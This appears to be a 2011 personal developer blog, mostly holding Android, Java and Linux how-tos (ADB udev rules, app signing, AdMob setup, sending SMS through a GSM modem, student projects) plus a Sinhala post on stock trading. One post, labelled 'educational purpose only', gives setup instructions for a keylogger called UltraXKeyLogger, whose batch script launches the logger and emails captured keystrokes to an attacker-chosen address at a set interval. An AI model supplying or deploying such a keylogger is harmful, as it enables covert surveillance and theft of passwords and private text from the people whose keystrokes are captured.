skip to main |
skip to sidebar
RSS Feeds
Nope. nothing .. just some random thoughts come to my mind ...
Nope. nothing .. just some random thoughts come to my mind ...
9:49 AM | Friday, December 30, 2011
Posted by harshadura
pre { overflow: auto; border: solid 1px #9AACAE; font-family: courier,Georgia,Serif; color: $(body.text.color); background: #EFEFEF; margin: 5px; padding: 5px; }
5:55 PM | Sunday, December 25, 2011
Posted by harshadura
Just type in Bash.
sudo apt-get install ttf-sinhala-lklug ibus im-switch ibus-m17n m17n-db m17n-contrib language-pack-si-base
8:26 PM | Saturday, December 24, 2011
Posted by harshadura
[harshadura@localhost rules.d]$ lsusb Bus 007 Device 002: ID 04e8:685e Samsung Electronics Co., Ltd Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 006 Device 004: ID 09da:000a A4 Tech Co., Ltd Port Mouse Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 005 Device 014: ID 1c9e:6061 Bus 005 Device 002: ID 08ff:2580 AuthenTec, Inc. AES2501 Fingerprint Sensor Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub [harshadura@localhost rules.d]$
[harshadura@localhost /]$ cd /etc/udev/rules.d/ [harshadura@localhost rules.d]$ [harshadura@localhost rules.d]$ ls 10-vboxdrv.rules 56-hpmud_support.rules 70-persistent-cd.rules 85-pcscd_ccid.rules 90-hal.rules 99-fuse.rules 40-hplip.rules 60-fprint-autosuspend.rules 70-persistent-net.rules 90-alsa.rules 91-drm-modeset.rules 99-gpsd.rules 51-android.rules 60-sysprof.rules 80-kvm.rules 90-alsa-tools-firmware.rules 97-bluetooth-serial.rules [harshadura@localhost rules.d]$ [harshadura@localhost rules.d]$ vi 51-android.rules
SUBSYSTEM=="usb", SYSFS{idVendor}=="04E8", MODE="0666"
10:50 AM | Tuesday, December 20, 2011
Posted by harshadura
If you are like me and like developing in Linux, then you will find
this guide useful. When I was setting up everything for my Android
development, I ran into the problem that Linux was not recognizing my
Android phone, and took me some time figuring out how to make Linux
recognize my phone. Finally, after some research I was able to put this
little guide together and decided to share it with the rest of the
world.
ADB (Android Debug Bridge) is a handy tool that comes with Android
SDK that allows you to control and interface with your Android device.
Update: 02/04/11 – HTC changed its Vendor ID, older phones have different ID than newer phones. Refer to USB Vendor IDs table at the bottom of this tutorial to see the change.
Update: 01/02/11 – By mistake I had linked the ADB tool for OSX in step 3.1. Now it should be the correct one for Linux.
IMPORTANT Update 12/11/10 – There has been a change to
the new Android SDK. ADB Tool has been moved to
/android-sdk-linux_x86/plataform-tools, so if you have the old SDK,
please download the new one and update your path (Step 9.2 of this
tutorial). If this is your first time doing this, then disregard the
update and continue with the tutorial.
Update: 09/21/10 – Working code with Ubuntu Lucid Lynx and added more USB vendor IDs.
sudo gedit /etc/udev/rules.d/##-android.rules
then enter your passwordadb devices
in a terminal window with your phone plugged in.adb devices
gives you a “no permissions” error, try typing the following in terminal
adb kill-server
adb start-server
Manufacturer | USB Vendor ID |
---|---|
Acer | 0502 |
Dell | 413c |
Foxconn | 0489 |
Garmin-Asus | 091E |
HTC (Older Phones) | 0bb4 |
HTC (Newer phones) | 18d1 |
Huawei | 12d1 |
Kyocera | 0482 |
LG | 1004 |
Motorola | 22b8 |
Nexus One/S | 18d1 |
Nvidia | 0955 |
Pantech | 10A9 |
Samsung | 04e8 |
Sharp | 04dd |
Sony Ericsson | 0fce |
ZTE | 19D2 |
9:28 AM | Wednesday, December 14, 2011
Posted by harshadura
10:02 AM | Monday, December 5, 2011
Posted by harshadura
If you are using Eclipse for Development just right click on your
project and click export. Now choose Android and then Export Android
Application. In the next step confirm the project that you want to
export. Then click next and now you should be able to select create new
keystore. Now fill in the required fields and your should be able to
sign your app. Be sure to make a backup of the keystore file and
remember your password. Losing this will make it impossible to update
your application.
If you are using the terminal to create a keystore and you have Java
SDK installed there should be a program called keytool in /usr/bin (on a
unix based system). On Windows the SDK should also come with the
keytool but the install location may be different search for keytool.exe
on your computer if keytool is not in your path already. With this tool
you should be able to create a key in the following way:
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -validity 10000
3:25 PM | Wednesday, November 30, 2011
Posted by harshadura
9:44 AM | Monday, November 28, 2011
Posted by harshadura
[Educational Purpose Only]
############################################ UltraXKeyLogger v0.5 ############################################ --------------------------- Prerequisites --------------------------- (01) Java --------------------------- Configuring the KeyMailer --------------------------- Right Click the "start.bat" and open it with NotePad++ or whatever suitable editor you have! Ok now you will see this text on it! ------------------------------------ @echo off cd dist start Logger.exe & start javaw -jar KeyMailer.jar testEmail@gmail.com 5000 @echo on ------------------------------------ We have to modify few parameters in the 3rd line in order to recieve logs for relavant email Address. ----------------------------------- start Logger.exe & start javaw -jar KeyMailer.jar testEmail@gmail.com 5000 ------------------------------------ well!! I will explain lil bit. ------------------------------------ start Logger.exe & start javaw -jar KeyMailer.jar <Log Recievers Email Address> <Email log recieving time delay> ------------------------------------ *Log Recievers Email Address : put an email of your choice this will reeive the logs. *Email log recieving time delay: the time delay for a Log after a log. [1000 = 1 Second] so this default value implies 5 Seconds. if you need like a 10 Min delay then it should be 1000 X 60 X 10 = 600000 not 1000*60*10 you should calulate it and giv the final value to it. jz said thats it. xD So Adjust them as you like! Save the File properly, And then Jz Run the same "start.bat" You have just started the Keylogger!! Just hit some buttons and check your mails. Voila!! you should recieved the KeyLog!! xD
10:09 PM | Friday, November 25, 2011
Posted by harshadura
12:58 PM | Thursday, November 17, 2011
Posted by harshadura
Ref : http://android.jmsliu.com/209/add-google-admob-in-android-application.html
______________________
Admob is a new way to monetize mobile applications. Currently,
it supports multi-platform, including iPhone, Android, WebOS, and Flash
Lite. Here I will show you how to integrate Admob in your android
applications.
First, we need to go to the Admob website to register an account, in order to get the Admod account ID.
Second, let’s go the google code to download the latest Google AdMob Ads SDK
for android. You also can get download it from your admob “Sites &
Apps” setting page. After we get the AdMob SDK, we need to add the jar
in our android application Build Path. Then, you just need to put some
simple codes to show your ads in your applications.
1. For Admob, it’s better to add the com.google.ads.AdActivity in your Manifest.xml file. And don’t forget to add the user permission for it. Below is my mainfest.xml example.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| <? xml version = "1.0" encoding = "utf-8" ?> < manifest xmlns:android = "http://schemas.android.com/apk/res/android" package = "com.jms.AdmobExample" android:versionCode = "1" android:versionName = "1.0" > < uses-sdk android:minSdkVersion = "8" /> < application android:icon = "@drawable/icon" android:label = "@string/app_name" > < activity android:name = ".AdmobExample" android:label = "@string/app_name" > < intent-filter > < action android:name = "android.intent.action.MAIN" /> < category android:name = "android.intent.category.LAUNCHER" /> </ intent-filter > </ activity > < activity android:name = "com.google.ads.AdActivity" android:configChanges = "keyboard|keyboardHidden|orientation" /> </ application > < uses-permission android:name = "android.permission.INTERNET" /> < uses-permission android:name = "android.permission.ACCESS_NETWORK_STATE" /> </ manifest > |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <? xml version = "1.0" encoding = "utf-8" ?> < LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android" android:orientation = "vertical" android:layout_width = "fill_parent" android:layout_height = "fill_parent" > < ImageView android:layout_width = "wrap_content" android:layout_height = "wrap_content" android:src = "@drawable/a" /> < com.google.ads.AdView xmlns:ads = "http://schemas.android.com/apk/res/com.jms.AdmobExample" android:id = "@+id/adView" android:layout_width = "fill_parent" android:layout_height = "fill_parent" ads:adSize = "BANNER" ads:adUnitId = "a14dbba084368db" /> </ LinearLayout > |
1
2
3
4
5
6
7
8
9
10
11
12
| <? xml version = "1.0" encoding = "utf-8" ?> < resources > < declare-styleable name = "com.google.ads.AdView" > < attr name = "adSize" > < enum name = "BANNER" value = "1" /> < enum name = "IAB_MRECT" value = "2" /> < enum name = "IAB_BANNER" value = "3" /> < enum name = "IAB_LEADERBOARD" value = "4" /> </ attr > < attr name = "adUnitId" format = "string" /> </ declare-styleable > </ resources > |
1
2
3
4
5
| AdView adview = (AdView)findViewById(R.id.adView); AdRequest re = new AdRequest(); re.setTesting( true ); re.setGender(AdRequest.Gender.FEMALE); adview.loadAd(re); |
8:38 AM | Tuesday, November 1, 2011
Posted by harshadura
DOWNLOAD > CSE WATCH.APK _______________________________________________________________________________ DOWNLOAD via QR READER |
Screenshot |
12:04 PM | Saturday, October 29, 2011
Posted by harshadura
Hello Everyone!
Today I am going to tell you about how to Simply send SMS by using your HSDPA dongle or GSM modem. Cool! Isnt It? yes Its not that Difficult too. I have tried so many ways to Accomplish this problem. After so many Attempts I got the way to do. So well I will tell you how I have done that.
package logic; import com.harshadura.gsm.smsdura.GsmModem; public class TestSMS { private static String port = "COM3"; //Modem Port. private static int bitRate = 115200; //this is also optional. leave as it is. private static String modemName = "ZTE"; //this is optional. private static String modemPin = "0000"; //Pin code if any have assigned to the modem. private static String SMSC = "+9477000003"; //Message Center Number ex. Mobitel public static void main(String[] args) throws Exception { GsmModem gsmModem = new GsmModem(); GsmModem.configModem(port, bitRate, modemName, modemPin, SMSC); gsmModem.Sender("+94712244555", "Test Message"); // (tp, msg) } }Okay in here. you will notice that you have to first find out the port number of your USB modem/dongle. for that you can simply right click the MyComputer Icon > goto Mange > then Search for Modems > then it will pop up a interface with several tabs.
gsmModem.Sender("+94712244555", "Test Message"); // (tp, msg)
Exception in thread "main" org.smslib.GatewayException: Comm library exception: java.lang.RuntimeException: javax.comm.NoSuchPortException at org.smslib.modem.SerialModemDriver.connectPort(SerialModemDriver.java:102) at org.smslib.modem.AModemDriver.connect(AModemDriver.java:114) at org.smslib.modem.ModemGateway.startGateway(ModemGateway.java:189) at org.smslib.Service$1Starter.run(Service.java:276) Java Result: 1
9:06 AM |
Posted by harshadura
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.harshadura.gsm</groupId>
<artifactId>smsdura</artifactId>
<packaging>jar</packaging>
<version>1.0</version>
<name>smsdura</name>
<url>http://maven.apache.org</url>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-dependency-plugin</artifactId>
<executions>
<execution>
<id>copy-dependencies</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-dependencies</goal>
</goals>
<configuration>
<outputDirectory>${project.build.directory}/classes/lib</outputDirectory>
<overWriteReleases>false</overWriteReleases>
<overWriteSnapshots>false</overWriteSnapshots>
<overWriteIfNewer>true</overWriteIfNewer>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.comm</groupId>
<artifactId>comm</artifactId>
<version>2.0.3</version>
<scope>system</scope>
<systemPath>${basedir}/lib/comm.jar</systemPath>
</dependency>
<dependency>
<groupId>commons-net</groupId>
<artifactId>commons-net</artifactId>
<version>3.0.1</version>
<scope>system</scope>
<systemPath>${basedir}/lib/commons-net-3.0.1.jar</systemPath>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.16</version>
<scope>system</scope>
<systemPath>${basedir}/lib/log4j-1.2.16.jar</systemPath>
</dependency>
<dependency>
<groupId>jsmpp</groupId>
<artifactId>jsmpp</artifactId>
<version>2.1.0</version>
<scope>system</scope>
<systemPath>${basedir}/lib/jsmpp-2.1.0.jar</systemPath>
</dependency>
<dependency>
<groupId>smslib</groupId>
<artifactId>smslib</artifactId>
<version>3.5.1</version>
<scope>system</scope>
<systemPath>${basedir}/lib/smslib-3.5.1.jar</systemPath>
</dependency>
<dependency>
<groupId>RXTXcomm</groupId>
<artifactId>RXTXcomm</artifactId>
<version>1.0.0</version>
<scope>system</scope>
<systemPath>${basedir}/lib/RXTXcomm.jar</systemPath>
</dependency>
<dependency>
<groupId>pduutils</groupId>
<artifactId>pduutils</artifactId>
<version>1.0.0</version>
<scope>system</scope>
<systemPath>${basedir}/lib/pduutils.jar</systemPath>
</dependency>
</dependencies>
</project>
After then just type
mvn clean install
4:00 PM | Saturday, October 8, 2011
Posted by harshadura
This is a Project which I have done with few of my colleagues specifically for SLIIT ITP Subject.
I have open sourced the Full source Code at github and rest of the project gonna Open sourced at Sourceforge FOSS home.
I am really thankful to Roshan Ayya, Dr. Dikaz Sheriff at Western Hospital, Colombo for giving lots of helps to make this Product a Success.
The ripen is a lil intro on whats it? and how it works.
visit the official project web portal to see more.thx
8:47 PM | Wednesday, September 28, 2011
Posted by harshadura
Here is my latest project. Its a Credit Management System using JavaSE.
For this project I have used Jasper IReports for the reporting part. And other look and feel components as well.
Full free open source coding can be found in git :
https://github.com/harshadura/
9:27 AM | Thursday, September 15, 2011
Posted by harshadura
This is simple Video Tutorial I have done to Connect Synthetica Look and Feel theme to a Java Swing Application. If you guyz interested in making your java Swing GUI looks so amazing just give this a try!
You can find the full version jars here : http://www.mediafire.com/?lu4zpqs7sji2d1q
10:44 PM | Wednesday, September 14, 2011
Posted by harshadura
12:01 PM | Tuesday, September 13, 2011
Posted by harshadura
අනෙ අම්මේ දැන් නම් කොටස් වෙලදපොලත් ඇති වගෙ...නරකමත් නැහැ ඒත් ටිකක් අවධානම් කියල හිතෙනව.. විශේෂයෙන් සල්ලිකාරයො නොවන අපි වගෙ අයට..
රු.5000ක් දාල මොන ශෙයා මාකට්ද බං..ලොල්.. දැන් තමයි සීන් එක තේරුනේ.. මේක ඉතිං තීන සොච්චමටත් කෙලවෙන සීන් එකක් කියල. ඇයි යකො ගත්තත් 1.5% ගානක් ඌට වික්කත් 1.5% ගානක් (අපි කරන හැම ගණුදෙනුවකදිම කොමිස් කැපෙනව බාං). අපිට ඉතිං අතින් කයිට්.. සිරාවට දැනටම රු.500ක් විතර කෙලවුණා.. අනෙ අම්මෙ මේක නම් හරියන සෙල්ලමක් නෙවෙයි වගෙ.. ශේප් එකෙ ඔය ගත්ත මගුල් ටික විකුණල දාල සල්ලි ටික බේර ගත්තොත් හොදා... හික්..හික්.. අවුලක් නෑ මේකෙනුත් යමක් ඉගෙන ගත්තනෙ.. සියළු සංස්කාර නැසෙන සුලුයි නොපමාව කුසල් දහම්හි යෙදෙන්න... කොටස් වෙලදපොල යනු එක්තරා ආකාරයක සූදුවෙකි.. සුදූවෙන් මුදල් ඉපයීමට ගොස් අලුත් දේවල් ලබා ගැනීම කෙසේ වෙතත් තිබෙන දේ නැති වෙන්න පවතින ඉඩ කඩ වැඩි බව මෙයින්ද මොනවට පැහැදිලි වුණි... මේකයි සල්ලි කාරයෙක්ට නම් නරකමත් නැහැ මේක.. බට් වියදම් කරන්න බැරි එකෙක් නම් තීන චුට්ටත් නැති වෙන සෙල්ලමක් මේක.. කට්ටිය ට්රියි එක් දාල බලන්න.. කෝකටත් දැන ගෙන තියාගන්න එක හොදයිනෙ... අපි ගියා.. ජයවේවා! xD
8:54 AM |
Posted by harshadura
Missing "already added" Pages Gadget |